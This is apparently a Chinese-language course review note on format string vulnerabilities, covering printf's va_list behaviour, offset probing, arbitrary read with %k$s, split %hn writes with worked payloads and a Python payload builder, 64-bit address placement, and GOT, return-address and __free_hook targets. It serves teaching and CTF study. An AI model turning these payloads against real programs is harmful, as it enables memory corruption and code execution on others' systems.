格式化字符串攻击:从栈帧布局到任意内存读写

格式化字符串攻击:从栈帧布局到任意内存读写

周日 11月 30 2025 Course
13039 字 · 54 分钟

[迁移说明] 本文最初发布于 blog.zzw4257.cn,现已迁移并在本站进行结构化整理与增强。

凝练总结

一、 底层机制:可变参数函数 (Variadic Functions) 的实现

注: 原文档中的栈帧布局示意图(此处省略,详见课程材料)

要理解漏洞,必须理解 C 语言编译器和 CPU 是如何处理 printf(fmt, ...) 这种参数个数不定的函数的。

1.1 栈帧布局 (Stack Layout) 与调用约定 (cdecl)

在 32 位 x86 架构(cdecl 调用约定)中,函数参数是从右向左入栈的,栈生长方向是向低地址生长。

假设调用 printf("A=%d, B=%x", 10, 20),汇编层面的操作如下:

  1. Push 20 (参数3)
  2. Push 10 (参数2)
  3. Push “A=%d, B=%x” 的地址 (参数1,格式化字符串)
  4. Call printf (压入返回地址 ret,跳转)
  5. Push ebp; Mov ebp, esp (建立 printf 的栈帧)

此时,printf 函数内部的栈布局如下(高地址 -> 低地址):

TEXT
[ 高地址 ]
...
|  20 (0x00000014) | <--- 参数3 (可变参数2)
|  10 (0x0000000A) | <--- 参数2 (可变参数1)
|  Format String * | <--- 参数1 (固定参数,指向 "%d...")
|  Return Addr     | <--- 函数返回地址
|  Saved EBP       | <--- printf 的栈底
[ 低地址 ]

1.2 va_list 的工作原理

printf 内部无法通过变量名访问 1020,它依赖 <stdarg.h> 中的宏来操作一个内部指针,通常称为 va_list ap(Argument Pointer)。

  1. va_start(ap, fmt)
    • 原理:它获取固定参数 fmt 的地址,然后加上一个字长(4字节)。
    • 结果:此时 ap 指针指向了参数2 (10) 的内存地址。
  2. 解析格式化字符串
    • printf 开始逐个字符扫描格式化字符串。
    • 当它扫描到普通字符(如 'A', '='),直接输出。
    • 关键点:当扫描到 % 时,它解析后面的类型(如 d)。
  3. va_arg(ap, int)
    • 原理printf 认为栈上当前 ap 指向的位置是一个 int。它读取 ap 指向的 4 字节数据,当作整数输出。
    • 移动:读取后,ap 指针自动向下移动 sizeof(int) (4字节),指向下一个位置(即参数3)。

1.3 漏洞的根本成因 (The Disconnect)

  • 编译器视角:C 语言编译器不检查 printf 的参数数量是否匹配格式化字符串(除非开启特定的 Warning)。printf 接受任意数量参数在语法上是合法的。
  • 运行时视角printf 完全盲目。它不知道栈上实际压入了多少参数。它唯一信赖的是格式化字符串
    • 如果你给了 10 个 %x,但只压入了 2 个参数。
    • printf 会无情地执行 10 次 va_arg,导致 ap 指针一路向高地址“爬升”,读取栈帧之外的数据(如返回地址、环境变量、甚至上一层函数的局部变量)。

二、 危险场景剖析 (Vulnerability Patterns)

你提到的三个例子非常经典,它们揭示了漏洞的不同触发路径。

例一:直接传递用户输入

C
printf(user_input);
  • 意图:开发者想打印一个字符串。
  • 错误:将数据(Data)当作了代码(Format Directives)。
  • 攻击:用户输入 %x %x %xprintf 将其视为格式化指令,泄露栈数据。
  • 修正printf("%s", user_input); —— 此时 %s 是唯一的指令,user_input 只是被当作纯数据读取。

例二:间接注入 (sprintf 中转)

C
char buf[100];
sprintf(buf, "User: %s, ID: %d", user_input, 100);
printf(buf);
  • 隐蔽性:第一步 sprintf 是安全的(如果忽略缓冲区溢出),它正确地把 user_input 填入了 %s 的位置。
  • 成因:假设用户输入 AAAA%xsprintf 执行后,buf 的内容变成了 "User: AAAA%x, ID: 100"
  • 触发:当 printf(buf) 执行时,它看到了 %x,于是触发漏洞。这是二级注入,用户输入成为了最终格式化字符串的一部分。

例三:环境变量注入

C
sprintf(format, "%s %s", getenv("PWD"), ": %d"); 
printf(format, program_data);
  • 攻击面:攻击者虽然不能直接控制 stdin,但可以在运行程序前修改环境变量(本地攻击常见)。
  • 利用export PWD="%x%x%x",然后运行程序。
  • 启示:所有外部不可信输入(文件内容、网络包、环境变量、用户输入)如果流入 printf 的第一个参数,都是漏洞。

三、 武器库:格式化占位符详解

理解这些占位符是构造 Payload 的前提。整体上记住都是,做个什么事情,往后走对应位数的行为,类似(++),所以有些时候想要达成相同效果,在32-》64过程中需要使用l类型替换

占位符功能期望参数类型漏洞利用价值
%x以十六进制打印整数int (4 bytes)栈数据泄露。用于“扫描”栈内存。
%p打印指针地址void * (4/8 bytes)%x,但格式更规范(通常带 0x 前缀)。
%s解引用并打印字符串char * (Address)任意内存读取。这是最强大的读原语。它不打印栈上的值,而是把栈上的值当作地址,去读取该地址指向的内存。
%d打印有符号十进制int主要用于配合 %n 调整打印字符的数量(Padding)。
%c打印单个字符int / char微调 Padding。比如 %10c 输出10个字符,比 %10d 更节省 Payload 空间。
%n将已打印字符数写入内存int * (Address)任意内存写 (4字节)。攻击核心。
%hn同上,写入 2字节short *任意内存写 (2字节)Payload 构造首选,防止超时。
%hhn同上,写入 1字节char *任意内存写 (1字节)。最精细,但 Payload 较长。

四、 核心技术:两种访问模式的深度对比

在利用漏洞时,我们需要让 printf 的内部指针(ap)准确地“指”到我们想要操作的数据上(通常是我们输入的 buffer 开头或某个特定位置)。这里有两种流派。

假设场景

  • 缓冲区 char buf[100] 在栈上。
  • 我们输入的数据 buf 起始地址,距离 printf 的第一个可变参数位置,相隔 Offset = 5 个字长(即栈上有 5 个其他数据,第 6 个数据开始是我们输入的 buf)。

4.1 模式一:顺序扫描 (Sequential Access) —— “不使用 $”

这是最原始的方法,利用 ap 指针每次移动 4 字节的特性,通过堆砌占位符来“垫”过中间的垃圾数据。

  • 目标:读取我们输入在 Buffer 开头的 AAAA (0x41414141)。
  • 构造 Payload
    TEXT
    AAAA %x %x %x %x %x %x
    (注意:AAAA 是输入数据,后面跟着 6 个 %x)
  • 执行流程
    1. printf 遇到第 1 个 %x -> 打印栈上第 1 个垃圾数据。
    2. printf 遇到第 5 个 %x -> 打印栈上第 5 个垃圾数据。
    3. printf 遇到第 6 个 %x -> 此时 ap 指针正好移到了 Buffer 的开头,打印出 41414141
  • 缺点
    • 如果 Offset 很大(比如 200),Payload 会非常长,可能超出缓冲区限制。
    • 会破坏 printf 的内部计数状态,不够优雅。
  • 应用场景:探测 Offset(Fuzzing 阶段)。

4.2 模式二:直接参数访问 (Direct Parameter Access) —— “使用 $k”

这是 POSIX 标准扩展功能,允许直接访问栈上的第 kk 个参数。

  • 语法%k$x (读取第 k 个参数), %k$n (写入第 k 个参数)。
  • 目标:同上,读取 Buffer 开头的 AAAA
  • 构造 Payload
    TEXT
    AAAA %6$x
  • 执行流程
    1. printf 解析到 %6$x
    2. 它直接计算偏移:Stack_Top + 6 * 4
    3. 直接读取该位置的数据(即 AAAA)。
  • 优点
    • O(1) 访问:不需要填充 5 个 %x
    • 稳定:无论 Offset 是 6 还是 200,Payload 长度几乎不变。
    • 独立性:可以反复访问同一个位置,例如 %6$x %6$x
  • 关键约束:一旦格式化字符串中使用了 $ 形式(如 %6$x),所有其他的占位符也必须使用 $ 形式(如不能混用 %x%6$x),否则行为未定义(通常会报错或失效)。

五、 实战演练:偏移量 (Offset) 的测算

在进行任何 Read/Write 攻击前,第一步永远是确定偏移量 kk

5.1 测算步骤

  1. 构造探测 Payload: 输入一段具有特征标记的数据,后跟一串 %p%x

    TEXT
    AAAA.%p.%p.%p.%p.%p.%p.%p.%p

    AAAA 的十六进制是 0x41414141

  2. 分析输出: 假设输出如下:

    TEXT
    AAAA.0xbfff0010.0x8048400.0x0.0x1.0xf7e2c637.0x41414141.0x252e7025...
  3. 计算 kk

    • 找到 0x41414141
    • 数它是第几个打印出来的数值?
    • 在上面的例子中,它是第 6 个数值。
    • 结论:Offset k=6k = 6

5.2 验证 kk

利用直接访问符验证: 输入:AAAA%6$x 输出:AAAA41414141 验证成功。这意味着:%6$x 对应的是 Buffer 的第 0-3 字节。


六、 进阶利用:任意内存读取 (Arbitrary Memory Read)

掌握了 kk 之后,我们就可以读取进程空间内任意合法地址的数据(绕过 ASLR 需要先泄露基址,原理相同)。

目标

读取地址 0x0804a048 处的内容(假设这里存了 Secret)。

构造逻辑

  1. 要在栈上制造指针printf%s 需要一个指针。我们需要把目标地址 0x0804a048 放到栈上,让 printf 能够通过 $k 索引到它。
  2. 利用 Buffer 本身:我们输入的 Buffer 就在栈上。所以,我们把目标地址写在 Buffer 的开头。

Payload 构造

假设测得 Offset k=6k = 6

结构[目标地址 (4 bytes)] + [格式化指令]

  • 输入内容 (Hex)\x48\xa0\x04\x08 + %6$s (注意:小端序存储地址)

  • 执行解析

    1. 栈上第 6 个参数的位置,现在存放着我们输入的 0x0804a048
    2. printf 遇到 %6$s
    3. 它去栈上找第 6 个参数,取出的值是 0x0804a048
    4. 它将 0x0804a048 视为指针,去内存中读取该地址指向的字符串,直到遇到 \0
    5. Success:Secret 被打印出来。

第一部分总结 (Part 1 Summary)

  1. 漏洞本质printf 对参数个数和类型的盲目信任,导致可以通过格式化字符串操作栈指针 va_list
  2. 输入即代码:永远不要让 printf 的第一个参数由用户控制。
  3. 两个世界
    • 顺序扫描 (%x%x):用于探测、Fuzzing,简单粗暴但低效。
    • 直接访问 (%k$x):精确打击,是构造复杂 Write Payload 的基础。
  4. Offset (kk):是一切攻击的坐标原点。它是 Buffer 起始地址相对于 printf 栈顶的索引。
  5. 读原语
    • 泄露栈数据:%k$p
    • 泄露任意内存:[Addr] + %k$s 这是复习计划的第二部分。在掌握了底层机制和任意读之后,我们将攻克软件安全中格式化字符串漏洞最核心、最复杂、也是威力最大的部分:任意地址写(Arbitrary Memory Write)

这一部分是**代码执行(RCE)**的必经之路。

七、 核心武器:%n 家族

printf 是一个输出函数,但 %n 让它变成了写入函数。这是漏洞利用的基石。

7.1 基本原理

  • 功能:当 printf 解析到 %n 时,它不输出任何内容。相反,它会统计在此之前已经打印出来的字符总数(Counter),并将这个整数写入到参数对应的内存地址中。
  • 类型匹配
    • %n:写入 int (4 字节)。
    • %hn:写入 short (2 字节)。【实战首选】
    • %hhn:写入 char (1 字节)。

7.2 为什么不用 %n

假设你要将地址 0x08048000 改写为 0xdeadbeef (十进制 3,735,928,559)。

  • 如果你使用 %n,你需要先让 printf 打印出 37 亿个字符,然后才写入。
  • 后果:程序会因 IO 耗时过长被系统 kill,或者缓冲区被撑爆。
  • 对策拆分写入 (Split Write)。我们将 4 字节拆分为两个 2 字节(利用 %hn)或四个 1 字节(利用 %hhn)分别写入。

八、 写入策略:拆分与覆盖

这是本章的重难点。我们将标准 4 字节写入拆解为两次 2 字节写入。

8.1 目标拆解

假设:

  • 目标地址Target_Addr (例如 0x0804a000)
  • 想要写入的值0x12345678

我们将写入操作分为两步:

  1. 低 2 字节 (Low Short):向 Target_Addr 写入 0x5678
  2. 高 2 字节 (High Short):向 Target_Addr + 2 写入 0x1234

内存视角(小端序):

TEXT
地址: 0x0804a000  [ 78 56 ]  <-- 第一次写入 0x5678
地址: 0x0804a002  [ 34 12 ]  <-- 第二次写入 0x1234
合起来: 0x12345678

8.2 计数器的单调性与排序

printf 的内部计数器是单调递增的。你不能打印了 100 个字符后,要求它回退到 50。

  • 场景 A (理想情况):先写小数,再写大数。

    • 目标:写 0x00100x0020
    • 操作:打印 16 个字符 -> 写 %hn -> 再打印 16 个字符 (总32) -> 写 %hn
  • 场景 B (常见情况):先写大数,再写小数。

    • 目标:写 0x20000x1000
    • 问题:打印到 0x2000 后,无法回退到 0x1000
    • 解决方案:整数溢出 (Integer Overflow)
    • short 类型只有 16 位(最大 65535)。如果我们让计数器达到 0x11000 (十进制 69632),写入 %hn 时,高位的 1 被截断,实际写入内存的依然是 0x1000
    • 公式:如果 Next_Value < Current_Value,目标打印数 = Next_Value + 0x10000

九、 两种访问模式下的写入 Payload 构造

假设前提:

  • 偏移量 (Offset)k=6k = 6 (输入 buffer 在第 6 个参数位置)。
  • Target Addr0x0804a000
  • Target Value0x12345678
    • 低位 0x5678 (22136),写入 0x0804a000
    • 高位 0x1234 (4660),写入 0x0804a002

9.1 模式一:直接参数访问 ($k) —— 【现代标准,必须掌握】

这种模式结构清晰,是最常用的攻击方式。我们不需要在栈上填充垃圾数据。

构造逻辑

  1. 布局地址:将需要写入的两个地址放在 Payload 开头。
  2. 排序:比较 0x56780x12340x1234 小,先写;0x5678 大,后写。
    • 第 1 次写:值 0x1234,地址 0x0804a002 (高位地址)。
    • 第 2 次写:值 0x5678,地址 0x0804a000 (低位地址)。
  3. 对应参数索引
    • Payload 开头是地址1 (4字节) 和 地址2 (4字节)。
    • Offset k=6k=6。所以地址1 是参数 6,地址2 是参数 7。

详细计算

  • 初始计数:已写入 8 字节(两个地址)。
  • 阶段 1 (写 0x1234)
    • 目标:4660。当前:8。
    • 需要填充 (Padding):4660 - 8 = 4652
    • 指令:%4652c%6$hn (向参数6即Target+2写入)。
  • 阶段 2 (写 0x5678)
    • 目标:22136。当前:4660。
    • 需要填充:22136 - 4660 = 17476
    • 指令:%17476c%7$hn (向参数7即Target写入)。

最终 Payload (Hex 伪代码)

TEXT
[0x0804a002] [0x0804a000] %4652c%6$hn %17476c%7$hn

(注:实际地址需按小端序反写)


9.2 模式二:顺序扫描 (Sequential / No-$) —— 【理解原理,应对限制】

如果系统或函数不支持 %k$ 语法(某些嵌入式环境或旧版 libc),必须使用此方法。非常繁琐,容易出错。

核心难点: 我们不能直接跳到参数 6。我们必须用 %x 把参数 1 到 5 “吃掉”,同时还要利用这些 %x 来控制打印的字符数,还要把地址混在 Payload 中间(或者利用栈上已有的指针对齐)。

一种常见的构造结构(地址后置法): 为了不破坏前面的 %x 消耗过程,我们常把地址放在 Payload 的最后

构造逻辑

  1. 消耗栈:我们需要覆盖前 5 个参数。可以使用 %8x%8x%8x%8x%8x (假设每个消耗8字符宽度)。
  2. 利用栈指针:当处理完前 5 个参数后,ap 指针指向了 Buffer 开头。
  3. 写入操作:此时 ap 指向 Buffer 开头。我们在 Buffer 开头放置 %hn 吗?不,那样 %hn 会把 Buffer 自己的 ASCII 码当地址写,崩溃。
  4. 精妙布局: Payload: [Padding_And_Consuming] [Write_Instruction] [Addresses]

示例构造 (简化版,仅展示思路): 假设 k=6k=6。 Payload:

TEXT
%8x%8x%8x%8x%8x    <-- 消耗5个参数,此时共打印 40 字符
%[Val1-40]c%hn     <-- 打印更多Padding,%hn写入当前栈顶指向的地址(即Addr1)
%[Val2-Val1]c%hn   <-- 打印更多Padding,%hn写入下一个地址(Addr2)
[Addr1][Addr2]     <-- 真正的地址放在这里
  • 问题:当执行第一个 %hn 时,ap 指针必须正好指到 Addr1。但 Addr1 在字符串末尾。
  • 修正:这种方法需要非常精确地计算 %x 的数量,使得 ap 指针滑过前面的格式化字符串,正好落在末尾的 Addr1 上。通常这被称为 “Stack Pop” 技术。

对比总结

  • $k 模式:地址放在头,直接索引,简单精准。
  • 非 $k 模式:地址放在尾,利用 %x 垫高 ap 指针去撞击地址。极度依赖栈对齐,调试痛苦。

十、 泛化总结:通用 Payload 构造模板 (The Holy Grail)

无论题目怎么变,按照这个模板思考(以 32 位,kk 模式为例)。

10.1 变量定义

  • TARGET_ADDR: 目标起始地址。
  • VALUE: 目标值 0xHHL L
  • OFFSET: 偏移量 kk

10.2 步骤流程

  1. 地址分解

    • A1 = TARGET_ADDR (对应低位 L)
    • A2 = TARGET_ADDR + 2 (对应高位 H)
  2. 值分解与溢出处理

    • V1 = VALUE & 0xFFFF (低位)
    • V2 = (VALUE >> 16) & 0xFFFF (高位)
    • 排序
      • V1 < V2: 顺序为 (A1, V1) -> (A2, V2)
        • Count1 = V1
        • Count2 = V2
      • V2 < V1: 顺序为 (A2, V2) -> (A1, V1)
        • Count1 = V2
        • Count2 = V1 + 0x10000 (溢出修正)
  3. 计算 Padding

    • Base_Len = 8 (两个 4 字节地址的长度)
    • Pad1 = Count1 - Base_Len
    • Pad2 = Count2 - Count1
  4. 组装 Payload

    • Addr_First + Addr_Second (根据排序决定谁在前,但实际上 $k 可以乱序索引,通常为了对齐方便,地址按参数顺序放,利用 $k$(k+1) 灵活指定)。
    • 最佳实践:始终固定地址顺序 A1, A2 在开头。
      • 如果 V1 < V2%Pad1c -> %k$hn -> %Pad2c -> %(k+1)$hn
      • 如果 V2 < V1%Pad1c -> %(k+1)$hn -> %Pad2c -> %k$hn

10.3 Python 伪代码 (Exam Ready)

PYTHON
def build_fmt_payload(offset, target_addr, value):
    # 1. 准备地址
    addr_low = target_addr
    addr_high = target_addr + 2
    
    # 2. 准备值
    val_low = value & 0xffff
    val_high = (value >> 16) & 0xffff
    
    # 3. 决定顺序 (Small -> Big)
    if val_low < val_high:
        small_val = val_low
        large_val = val_high
        # 低位值小,先写低位地址(offset),再写高位地址(offset+1)
        step1_idx = offset
        step2_idx = offset + 1
    else:
        small_val = val_high
        large_val = val_low + 0x10000 # 溢出修正
        # 高位值小,先写高位地址(offset+1),再写低位地址(offset)
        step1_idx = offset + 1
        step2_idx = offset

    # 4. 计算 Padding
    # 初始已写入 8 字节 (两个地址)
    written = 8
    pad1 = small_val - written
    pad2 = large_val - small_val
    
    # 5. 构造
    payload = p32(addr_low) + p32(addr_high)
    payload += f"%{pad1}c%{step1_idx}$hn".encode()
    payload += f"%{pad2}c%{step2_idx}$hn".encode()
    
    return payload

第二部分总结 (Part 2 Summary)

  1. 能力升级:从 Read 进化到 Write,意味着获得了修改程序控制流(GOT覆写、Ret覆写)的能力。
  2. 核心工具%hn 是平衡 Payload 长度和复杂度的最佳选择。
  3. 覆盖艺术
    • 利用小端序拆分地址。
    • 利用排序解决计数器单调递增问题。
    • 利用整数溢出解决后写数值比先写数值小的问题。
  4. 模式选择
    • **k模式:通过Payload头部放置地址,利用k 模式**:通过 Payload 头部放置地址,利用 `%khn` 精确打击,是考试和实战的标准解法。
    • 非 $k 模式:通过尾部放置地址,利用 %x 漫步栈指针,是特殊场景下的备选方案。

这是复习计划的第三部分

在前两部分,我们掌握了 32 位系统下的核心机制。现在,我们将进入更贴近现代实战的领域:64 位架构(x64)的特殊挑战以及攻击目标的战略选择

64 位系统不仅仅是地址变长了,它引入了一个致命的问题——空字节(Null Byte),这彻底改变了 Payload 的构造逻辑。

十一、 64 位架构的三大挑战

在 x64 环境下,printf 的行为发生了底层变化,直接照搬 32 位的 Payload 会立即失败。

11.1 传参机制变革:寄存器优先

  • 32-bit:所有参数都在上。
  • 64-bit (System V AMD64 ABI):前 6 个参数依次通过寄存器传递(RDI, RSI, RDX, RCX, R8, R9),第 7 个参数开始才放在上。
  • 影响
    • printf 内部会先消耗掉那 6 个寄存器。
    • 我们的 Offset kk 即使指向 buffer 开头,起始值也至少是 6(寄存器数量)+ Stack_Offset
    • 实战:偏移量 kk 通常会比 32 位大得多。

11.2 地址宽度与范围

  • 地址长度变为 8 字节
  • 用户空间的地址通常只有 48 位有效(Canonical Form),高 16 位全是 0。
    • 典型地址:0x00007ffff7a00000
  • 后果:Payload 长度增加,计算 Padding 时需要减去更多的基数(8字节)。

11.3 致命的“空字节”问题 (The Null Byte Problem)

这是 64 位利用的核心痛点。

  • 现象:64 位地址的高位总是包含 \x00(例如 0x00007fff...)。
  • 冲突printf 的第一个参数是字符串,遇到 \x00 会立刻停止解析。
  • 困境
    • 在 32 位中,我们把地址放在 Payload 开头[Address][Format]
    • 在 64 位中,如果把地址放在开头,Payload 变成 [\x00\x00...][Format]printf 读到第一个字节就停了,后面的格式化指令根本不会执行。

十二、 64 位 Payload 构造策略:后置地址法 (Address-Last)

为了解决空字节截断,我们必须颠倒 Payload 的结构。

12.1 结构逆转

  • 32-bit 模式[地址] + [Padding] + [指今]
  • 64-bit 模式[Padding] + [指令] + [填充对齐] + [地址]

逻辑

  1. printf 先解析完所有的格式化字符串(此时字符串中没有 \x00)。
  2. 当解析到 %k$hn 时,它去栈的深处寻找第 kk 个参数。
  3. 我们把地址放在 Payload 的最末尾,只要计算好偏移量 kk,让 printf 正好索引到末尾的这个地址即可。
  4. 地址中的 \x00 此时作为数据的结尾,不会影响前面的解析。

12.2 构造步骤与公式

假设我们要向 TARGET_ADDR 写入值。由于地址在最后,我们需要极其精确地计算对齐。

Step 1: 确定基础偏移 Base_KBase\_K 先确定 Payload 起始位置对应的偏移量。假设输入 AAAA%p,发现 AAAA 是第 8 个参数,则 Base_K=8Base\_K = 8

Step 2: 构造格式化串主体 假设我们要写入的值需要打印 PP 个字符。 Fmt_Str = "%Pc%k$hn" (这里的 kk 是待定占位符)。

Step 3: 计算地址的偏移 kk 这是最难的一步。公式如下: k=Base_K+Len(Fmt_Str)+Padding8k = Base\_K + \frac{Len(Fmt\_Str) + Padding}{8}

  • 因为地址放在 Fmt_Str 后面,所以它的偏移量 = 起始偏移 + Fmt_Str 占用的块数。
  • 对齐要求:Fmt_Str 的长度加上 Padding 必须是 8 的倍数,这样紧跟在后面的地址才能正好对其到栈的边界。

Python 构造模板

PYTHON
# 目标:向 addr 写入 val
# 假设 Base_Offset = 6 (buffer 起始偏移)

payload_front = f"%{val}c%XX$hn" # XX 是我们接下来要算的 k

# 计算需要填充多少字节才能让 payload_front 对齐到 8 字节
# len(payload_front) 本身包含未知的 XX,通常先预估长度(如XX用占位符先算)
# 这里简化逻辑:假设 payload_front 长度补齐后是 M 字节
while len(payload_front) % 8 != 0:
    payload_front += "A" 

# 计算最终的 k
# M 是 payload_front 的长度
# k = Base_Offset + (M / 8)
final_k = base_offset + (len(payload_front) // 8)

# 替换占位符
real_payload = payload_front.replace("XX", str(final_k))

# 再次检查对齐 (因为替换数字可能改变长度)
# 实战中通常使用 ljust(length, b'A') 强制固定长度,避免动态变化
payload = real_payload.encode() + p64(addr)

十三、 目标选择:打哪里? (Target Selection)

有了“枪”(任意写),我们需要选“靶子”。

13.1 经典靶心:GOT 表 (Global Offset Table)

  • 原理:GOT 表存储了外部函数(如 printf, exit, puts)的真实地址。
  • 攻击:将 printf 的 GOT 表项修改为 system 的地址。
  • 结果:下一次程序调用 printf("/bin/sh") 时,实际执行的是 system("/bin/sh")
  • 条件:程序未开启 Full RELRO 保护。

13.2 栈靶心:返回地址 (Return Address)

  • 原理:修改当前栈帧的 Ret Addr,指向 Shellcode 或 ROP Chain。
  • 难点:需要先泄露栈地址(通过 %p 泄露 environebp),算出 Ret Addr 的绝对地址,因为栈地址是随机的(ASLR)。
  • 优势:即使开启了 Full RELRO(GOT 表不可写),栈上的返回地址依然是可写的。

13.3 堆/库钩子:Hooks (__malloc_hook, __free_hook)

  • 原理:Glibc 提供了一些钩子变量,用于调试内存分配。
  • 攻击:将 __free_hook 改为 system
  • 触发:当程序执行 free(ptr) 时,如果 ptr 指向内容是 "/bin/sh",则触发 shell。
  • 适用性:非常适合 Heap 相关的题目,或者通过 fmtstr 只能修改 libc 数据的情况。

十四、 保护与绕过 (Mitigations)

14.1 RELRO (Relocation Read-Only)

  • No RELRO:Link Map、GOT 可写。
  • Partial RELRO(默认):GOT 表可写。攻击 GOT 表
  • Full RELRO:GOT 表只读,程序启动时立即解析所有符号。
    • 对策:攻击 栈返回地址Libc Hooks (__free_hook)

14.2 ASLR (地址随机化)

  • 影响:Shellcode、栈、Libc 的地址每次都不一样。
  • 对策
    1. Info Leak:先利用 %p 泄露栈上的某个 Libc 指针(如 __libc_start_main+243)和栈指针。
    2. Calculate:根据泄露地址 - 偏移量 = 基地址 (Base Addr)。
    3. Exploit:构造基于基地址的 Payload。

14.3 _FORTIFY_SOURCE

  • 原理:GCC 的编译选项,它会替换 printf__printf_chk
  • 限制
    1. 如果格式化字符串位于可写内存段(如 Heap 或 Stack,即我们输入的 buffer),则禁止使用 %n。程序会直接 Crash。
    2. 不允许越过直接访问符(例如:用了 %2$x 就不能用 %1$x,必须用 %1$x ? 不,是不能跳过参数)。
  • 绕过:很难绕过 %n 的限制。如果遇到这个保护,通常只能做 Info Leak,无法做 Arbitrary Write(除非能利用 ROP 劫持流程绕过检查)。

十五、 终极泛化总结 (The Grand Summary)

将前三部分浓缩为一张脑图:

1. 核心公式

  • Offset (kk):Payload 起始处距离 printf 参数指针的距离。
  • 任意读Addr + %k$s
  • 任意写Addr + %c...%k$hn

2. 架构差异对照表

特性32-bit (x86)64-bit (x64)
传参全栈传参前6寄存器 -> 后栈
字长4 Bytes8 Bytes
Payload结构[地址][Fmt][Fmt][Padding][地址]
地址特征0x08... (无空字节)0x00007f... (高位空字节)
Offset计算kk 即为 Buffer 偏移k=Base+(Len(Fmt)/8)k = Base + (Len(Fmt)/8)

3. 构造模式决策树

  • Q1: 32位 还是 64位?
    • 32位 -> 地址放开头。
    • 64位 -> 地址放末尾,注意 8 字节对齐。
  • Q2: 目标值大小?
    • 大数 -> 拆分为高低两部分 (high, low)。
    • 排序 -> 先写小的,后写大的(利用溢出 +0x10000)。
  • Q3: 保护机制?
    • Full RELRO -> 别打 GOT,打 Stack Ret 或 Hooks。
    • ASLR -> 先 Leak,再 Write。
    • Fortify -> %n 被封,放弃写,尝试侧信道或纯 Leak。

4. 扩展思考:%hhn 单字节写

你最初提到的扩展思考。

  • 场景:当需要极度精细的控制,或者为了避免 %hn 带来的过大 Padding 导致输出缓慢时。
  • 原理:将 8 字节目标值拆分为 8 次 1 字节写入。
  • 构造
    • 需要 8 个地址:Addr, Addr+1, ..., Addr+7
    • 对这 8 个字节的值进行排序。
    • Payload 会非常长(包含8个地址),但在 64 位下,由于地址必须后置,这会导致 Offset kk 变得非常大,计算极其复杂。
    • 结论:在 64 位下,除非空间受限或特殊需求,通常使用 %hn (2字节写) 是性价比最高的平衡点。%hhn 在 32 位中更为常见。

至此,格式化字符串漏洞的完整知识体系复习完毕。从底层的 va_list 到 64 位的空字节绕过,这套逻辑足以应对绝大多数 CTF 题目和实战场景。

知识点(课上记录)

背景

printf的第一个参数是 format string,而非一个具体的参数,其使用%标记占位符,打印过程中往占位符的位置填充数据,类似的有sprintf,fprintf,scanf等传统c函数。格式化字符串的内容不经审查会带来FSV(格式化字符串漏洞)

底层逻辑-可变参数函数

当函数参数个数不固定时,可使用 <stdarg.h> 宏族访问这些参数。

核心宏包括:

C
va_list ap;

va_start(ap, last_fixed_arg);

type var = va_arg(ap, type);

va_end(ap);

一个经典的例子

C
#include <stdio.h>
#include `<stdarg.h>`

int myprint(int Narg, ...) {
    va_list ap;
    va_start(ap, Narg);
    for(int i = 0; i < Narg; i++) {
        printf("%d  ", va_arg(ap, int));
        printf("%f\n", va_arg(ap, double));
    }
    va_end(ap);
    return 0;
}

int main(void) {
    myprint(1, 2, 3.5);
    myprint(2, 2, 3.5, 3, 4.5);
}
  • va_start(ap, Narg):确定可变参数起始地址(紧接着 Narg 之后的栈位置)。
  • va_arg(ap, type):取当前参数并移动指针(按类型长度向上跳转,如 int4字节、double8字节)。【模式就是++,先取值并移动,必须对】
  • va_end(ap):清理指针状态。 简单看一个逻辑

![[Pasted image 20251113101828.png]]

![[Pasted image 20251113102359.png]]

printf对可变参数访问

简单来说没有Narg了,而是利用format string来进行va_arg的具体类型决定,遇到任何一个%引导的 format specifiers,就利用va_arg获取va_list只想的可变参数移动

  • %d:将参数视为 int 类型,并使用十进制格式打印出来。
  • %x:将参数视为 unsigned int 类型,并使用十六进制格打印出来。
  • %s:将参数视为一个指向字符串的地址,并把该字符串打印出来。
  • %f:将参数视为 double 类型,并打印出来。 见上右上图,需要一步一步向上演进

可变参数不够

在比较老的编译器版本,假设格式字符串和最终实际输出对象对不上,会出现一些问题。(格式化字符串假设是常量,现代编译器会检查,但假设不是就可能还是会漏掉)

PLAINTEXT
printf("ID: %d, Name: %s, Age: %d\n", id, name);

如左下图,这种情况出现会导致什么呢,最后一个%d指向的是非参数区域

利用方式集锦

C
例一:
   printf(user_input);

例二:
   sprintf(format, "%s %s", user_input, ": %d"); 
   printf(format, program_data);

例三:
   sprintf(format, "%s %s", getenv("PWD"), ": %d"); 
   printf(format, program_data);

第一个是将非格式字符串的当成格式字符串

举个例子

  • %x 可让程序泄露栈上内容(信息泄露)
  • %s 可让程序尝试读取任意地址导致崩溃或泄露字符串
  • %n 可让攻击者向内存写入值(可用于修改返回地址、覆盖函数指针等,实现代码执行)
C
user_input = "%x %x %x %x";
printf(user_input);

是打印栈上内容

C
user_input = "%n";
printf(user_input);

向任意地址写一个整数

第二个是恶意format被嵌入

开发者以为最终 format 只有一个 %d,但攻击者可以:

user_input = "AAAA %x %x %x %n"

  • printf 读取错误数量的参数,破坏栈
  • %x 泄露内存
  • %n 修改内存

编写程序的人以为自己控制参数数量,但假设出现这种情况,用户可以注入格式符号破坏假设

第三个,就是PWD可以用户设置,类似效果

格式化字符串攻击

四个挑战:(1) 注入恶意代码到栈中; (2) 找到恶意代码的起始地址 A; (3) 找到返回地址保存的位置(我们用 B 来表示该位置); (4) 把 A 写入 内存地址 B

C
#include <stdio.h>

void fmtstr()
{
    char input[100];
    int var = 0x11223344;                     

    /* print out information for experiment purpose */
#if __x86_64__
    printf("Target address: 0x%.16lx\n", (unsigned long) &var); 🅰
#else
    printf("Target address: 0x%.8x\n", (unsigned int) &var);    🅱
#endif

    printf("Data at target address: 0x%x\n", var);
    printf("Please enter a string: ");
    fgets(input, sizeof(input), stdin);

    printf(input); // The vulnerable place                      🅲

    printf("Data at target address: 0x%x\n",var);
}

void main() { fmtstr(); }

漏洞的根源在于printf(user_input)这样的调用方式。这个编译最好关闭ASLR

PLAINTEXT
# 编译为32位程序 
$ gcc -m32 -o vul vul.c 
# 设置为Set-UID程序 
$ sudo chown root vul 
$ sudo chmod 4755 vul 
# 关闭ASLR 
$ sudo sysctl -w kernel.randomize_va_space=0

直接看下如何工具

C
$ ./vul
请输入字符串: %s%s%s%s%s%s
Segmentation fault

这个户i反复往上解引用,然后遇到不合法的就卡住了

C
$ ./vul
...
请输入字符串: %x.%x.%x.%x.%x.%x
...bffff33f.11223344.252e7825...

这个就有意思了,这个是打印数据(四个字节为单位)

第5个%x成功打印出了变量var的值0x11223344【需要计算var 到va_list 初始位置的距离】

